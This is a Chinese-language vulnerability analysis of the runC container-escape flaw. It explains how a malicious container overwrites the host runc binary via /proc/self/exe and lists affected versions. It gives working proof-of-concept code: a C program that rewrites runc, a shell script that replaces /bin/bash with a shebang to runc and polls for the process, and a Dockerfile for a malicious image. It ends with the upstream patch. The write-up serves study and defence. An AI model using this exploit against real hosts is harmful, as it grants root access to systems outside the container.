漏洞简介
RunC 是一个轻量级的工具,它是用来运行容器的,只用来做这一件事,并且这一件事要做好。我们可以认为它就是个命令行小工具,可以不用通过 docker 引擎,直接运行容器。事实上,runC 是标准化的产物,它根据 OCI 标准来创建和运行容器。而 OCI(Open Container Initiative)组织,旨在围绕容器格式和运行时制定一个开放的工业化标准。
换一句话说,其实 Docker 在管理容器的时候,其实底层就是跑的RunC。
1 | root@VM-118-78-ubuntu:~# docker info | grep "runc"Runtimes: runcDefault Runtime: runcrunc version: N/A (expected: 54296cf40ad8143b62dbcaa1d90e520a2136ddfe)WARNING: No swap limit support |
该漏洞允许恶意容器(以最少的用户交互)覆盖主机runc二进制文件,从而在主机上以root级别执行代码。用户交互的级别能够允许上下文中的任何一个容器以root身份运行任何命令:
使用攻击者控制的映像创建新的容器;
将(docker exec)附加到攻击者之前具有写入权限的已有容器中。
这两种情况看起来可能不同,但都需要runC来启动容器中的新进程,并以类似的方式实现。在这两种情况下,runC的任务是在容器中运行用户定义的二进制文件。 在Docker中,这个二进制文件是启动新容器时映像的入口点,或者是附加到现有容器时的docker exec参数。
运行这个用户二进制文件时,它必须已经被限制在容器内,否则可能会威胁主机安全。为了实现这一点,runC创建了一个名为“runC init”的子进程,它将所有需要的限制放在其自身(例如:输入、设置命名空间),并有效地将其自身放置在容器中。然后,现在在容器中的runC init进程调用execve
系统调用,使用用户请求的二进制文件覆盖自身。
漏洞影响
Ubuntu:runc 1.0.0~rc4+dfsg1-6ubuntu0.18.10.1之前版本
Debian:runc 0.1.1+dfsg1-2 之前版本
RedHat Enterprise Linux: docker 1.13.1-91.git07f3374.el7之前版本
Amazon Linux:docker 18.06.1ce-7.25.amzn1.x86_64之前版本
CoreOS:2051.0.0之前版本
Kops Debian 所有版本(正在修复)
Docker:18.09.2之前版本
利用条件
使用攻击者控制的镜像创建新容器
攻击者具有某容器的写入权限,通过docker exec或其他方式进入容器中
漏洞原理
要了解漏洞,我们首先需要了解一些procfs的基础知识。Proc文件系统是 Linux 中的一个虚拟文件系统,主要提供有关进程的信息,通常安装在/proc上。它在某种意义上来说是虚拟的,因为它在磁盘上实际不存在。相反,内核会在内存中创建它。它还可以被认为是一个内存为文件系统公开的系统数据接口。每个进程在procfs中都有自己的目录,位于/proc/[pid]:
下图标书runC用于创建新容器以及将进程附加到现有容器的方法
研究人员发现,攻击者可以通过要求runC运行/proc/self/exe来欺骗runC执行其自身,这是一个指向主机上runC二进制文件的符号链接。
Docker 提供 exec
命令方便用户在宿主机与容器进行交互。如通过 docker run exec -it < CONTAINER ID> /bin/bash
,可以进入容器在容器中执行命令,此命令实际上执行了容器中的 /bin/bash
文件。我们可以在容器内覆盖目标文件为 #!/proc/self/exe
,如下图所示:
#!语法被称为Shebang,在脚本中用于指定解释器。当Linux加载器遇到Shebang时,将会运行解释器,而不是可执行文件。
又知Docker的很多操作都是通过runc去运行的,因此可以通过 docker exec
命令执行到被覆盖的目标文件,欺骗runc执行它自己。因此在容器外运行 docker run exec -it < CONTAINER ID> /bin/bash
会欺骗runc运行 /proc/self/exe
(runc)如下图:
此时 /bin/bash
已经被替换,并且成功欺骗runc执行runc。但runc进程不会一直驻留,因此编写一个Shell代码测试。
1 | while true; do |
2 | for f in $(ps -ef | awk '{print $2}'); do |
3 | cmdline=$(cat /proc/${f}/cmdline) |
4 | if [[ ${cmdline} == *runc* ]]; then |
5 | echo !!!!!!!!found runc in proc !!!!!!!!!!!!! |
6 | fi |
7 | done |
8 | done |
在运行以上代码时通过 docker exec
执行容器中的 /bin/bash
,看到如下输出即说明欺骗成功:
此时由于runc在使用中,无法直接覆盖runc,因此需要使用C语言编写PoC。通过 O_PATH
标志,忽略权限打开runc所在 /proc/${pid}/exe
的二进制文件,获取其文件标识符 fd
。然后在从文件标识符中( /proc/self/fd/${fd}
)以 O_WRONLY
(只写)标志重新打开文件,然后在一个循环中重复尝试将Payload写入文件标识符中,写入成功后在runc退出的时候会覆盖宿主机上的runc文件。再次使用runc(执行 docker exec
等)即可执行恶意代码。
利用效果如下,在容器中执行Shell覆盖 /bin/bash
文件并监控进程:
在容器外执行容器内的 /bin/bash
后,容器内发现runc进程马上执行恶意代码写入Payload:
查看效果:
POC构造:
- 拥有
docker exec
权限,可构造PoC如下:
payload.c
1 |
|
2 |
|
3 | |
4 | int main (int argc, char **argv) { |
5 | execl("/usr/bin/touch", "touch", "/hacked_by_Tunan", NULL); |
6 | return 0; |
7 | } |
poc.c
1 |
|
2 |
|
3 |
|
4 |
|
5 |
|
6 |
|
7 | |
8 |
|
9 |
|
10 |
|
11 | |
12 | int main(int argc, char **argv) { |
13 | int fd, ret; |
14 | char *payload, dest[512]; |
15 | |
16 | if (argc < 2) { |
17 | printf("usage: %s FILE\n", argv[0]); |
18 | return 1; |
19 | } |
20 | |
21 | payload = malloc(PAYLOAD_MAX_SIZE); |
22 | if (payload == NULL) { |
23 | puts("Could not allocate memory for payload."); |
24 | return 2; |
25 | } |
26 | |
27 | FILE *f = fopen("./payload", "r"); |
28 | if (f == NULL) { |
29 | puts("Could not read payload file.\n"); |
30 | return 3; |
31 | } |
32 | int payload_sz = fread(payload, 1, PAYLOAD_MAX_SIZE, f); |
33 | |
34 | for (;;) { |
35 | fd = open(argv[1], O_PATH); // O_PATH打开文件不需要对文件有权限 |
36 | if (fd >= 0) { |
37 | printf("Successfuly opened %s at fd %d\n", argv[1], fd); |
38 | snprintf(dest, 500, SELF_FD_FMT, fd);// 格式化字符串,将文件标识符写入dest中 |
39 | puts(dest);// 写入缓冲区 |
40 | int i; |
41 | for (i = 0; i < 9999999; i++) { |
42 | fd = open(dest, O_WRONLY | O_TRUNC); // 以只写的形式再次打开缓冲区中的内容,拿到fd(文件标识符) |
43 | if (fd >= 0) { |
44 | printf("Successfully openned runc binary as WRONLY\n"); |
45 | ret = write(fd, payload, payload_sz); // 写入文件标识符 |
46 | if (ret > 0) printf("Payload deployed\n"); |
47 | break; |
48 | } |
49 | } |
50 | break; |
51 | } |
52 | } |
53 | return 0; |
54 | } |
poc.sh
1 | !/bin/bash |
2 | |
3 | function poc() { |
4 | echo '#!/proc/self/exe' > /bin/bash |
5 | chmod +x /bin/bash |
6 | |
7 | while true; do |
8 | for pid in $(ps -ef | awk '{print $2}'); do |
9 | cmdline=$(cat /proc/${pid}/cmdline) |
10 | if [[ ${cmdline} == *runc* ]]; then |
11 | echo !!!!!!!!runc was found !!!!!!!!!!!!! |
12 | echo pid:${pid} |
13 | echo starting exploit |
14 | ./poc /proc/${pid}/exe |
15 | echo finish! run docker exec -it <CONTAINER ID> /bin/bash to see the effect |
16 | fi |
17 | done |
18 | done |
19 | } |
20 | |
21 | exec 2>/dev/null |
22 | poc |
- 如果没有
docker exec
权限,可构造恶意image,增加Dockerfile:
1 | FROM ubuntu |
2 | RUN apt-get update |
3 | RUN apt-get install -y build-essential |
4 | ADD . /poc |
5 | WORKDIR /poc |
6 | RUN make |
7 | CMD ["./poc.sh"] |
漏洞修复
补丁中增加了克隆二进制文件的相关处理,并且在 nsexec()
函数中增加了判断是否是克隆文件的逻辑,如果不是克隆文件则抛出错误并退出。
ensure_cloned_binary 函数:
1 | int ensure_cloned_binary(void) |
2 | { |
3 | int execfd; |
4 | char **argv = NULL, **envp = NULL; |
5 | |
6 | /* Check that we're not self-cloned, and if we are then bail. */ |
7 | int cloned = is_self_cloned(); |
8 | if (cloned > 0 || cloned == -ENOTRECOVERABLE) |
9 | return cloned; |
10 | |
11 | if (fetchve(&argv, &envp) < 0) |
12 | return -EINVAL; |
13 | |
14 | execfd = clone_binary(); |
15 | if (execfd < 0) |
16 | return -EIO; |
17 | |
18 | fexecve(execfd, argv, envp); |
19 | return -ENOEXEC; |
20 | } |
首先判断 exe 是否被clone
1 | static int is_self_cloned(void) |
2 | { |
3 | int fd, ret, is_cloned = 0; |
4 | |
5 | fd = open("/proc/self/exe", O_RDONLY|O_CLOEXEC); |
6 | if (fd < 0) |
7 | return -ENOTRECOVERABLE; |
8 | |
9 |
|
10 | ret = fcntl(fd, F_GET_SEALS); |
11 | is_cloned = (ret == RUNC_MEMFD_SEALS); |
12 |
|
13 | struct stat statbuf = {0}; |
14 | ret = fstat(fd, &statbuf); |
15 | if (ret >= 0) |
16 | is_cloned = (statbuf.st_nlink == 0); |
17 |
|
18 | close(fd); |
19 | return is_cloned; |
20 | } |
如果否,则执行 clone_binary 函数
1 | static int clone_binary(void) |
2 | { |
3 | int binfd, memfd; |
4 | ssize_t sent = 0; |
5 | |
6 |
|
7 | memfd = memfd_create(RUNC_MEMFD_COMMENT, MFD_CLOEXEC | MFD_ALLOW_SEALING); |
8 |
|
9 | memfd = open("/tmp", O_TMPFILE | O_EXCL | O_RDWR | O_CLOEXEC, 0711); |
10 |
|
11 | if (memfd < 0) |
12 | return -ENOTRECOVERABLE; |
13 | |
14 | binfd = open("/proc/self/exe", O_RDONLY | O_CLOEXEC); |
15 | if (binfd < 0) |
16 | goto error; |
17 | |
18 | sent = sendfile(memfd, binfd, NULL, RUNC_SENDFILE_MAX); |
19 | close(binfd); |
20 | if (sent < 0) |
21 | goto error; |
22 | |
23 |
|
24 | int err = fcntl(memfd, F_ADD_SEALS, RUNC_MEMFD_SEALS); |
25 | if (err < 0) |
26 | goto error; |
27 |
|
28 | /* Need to re-open "memfd" as read-only to avoid execve(2) giving -EXTBUSY. */ |
29 | int newfd; |
30 | char *fdpath = NULL; |
31 | |
32 | if (asprintf(&fdpath, "/proc/self/fd/%d", memfd) < 0) |
33 | goto error; |
34 | newfd = open(fdpath, O_RDONLY | O_CLOEXEC); |
35 | free(fdpath); |
36 | if (newfd < 0) |
37 | goto error; |
38 | |
39 | close(memfd); |
40 | memfd = newfd; |
41 |
|
42 | return memfd; |
43 | |
44 | error: |
45 | close(memfd); |
46 | return -EIO; |
47 | } |
return 一个新的 fd
参考:
https://www.codercto.com/a/62757.html
https://www.codercto.com/a/59353.html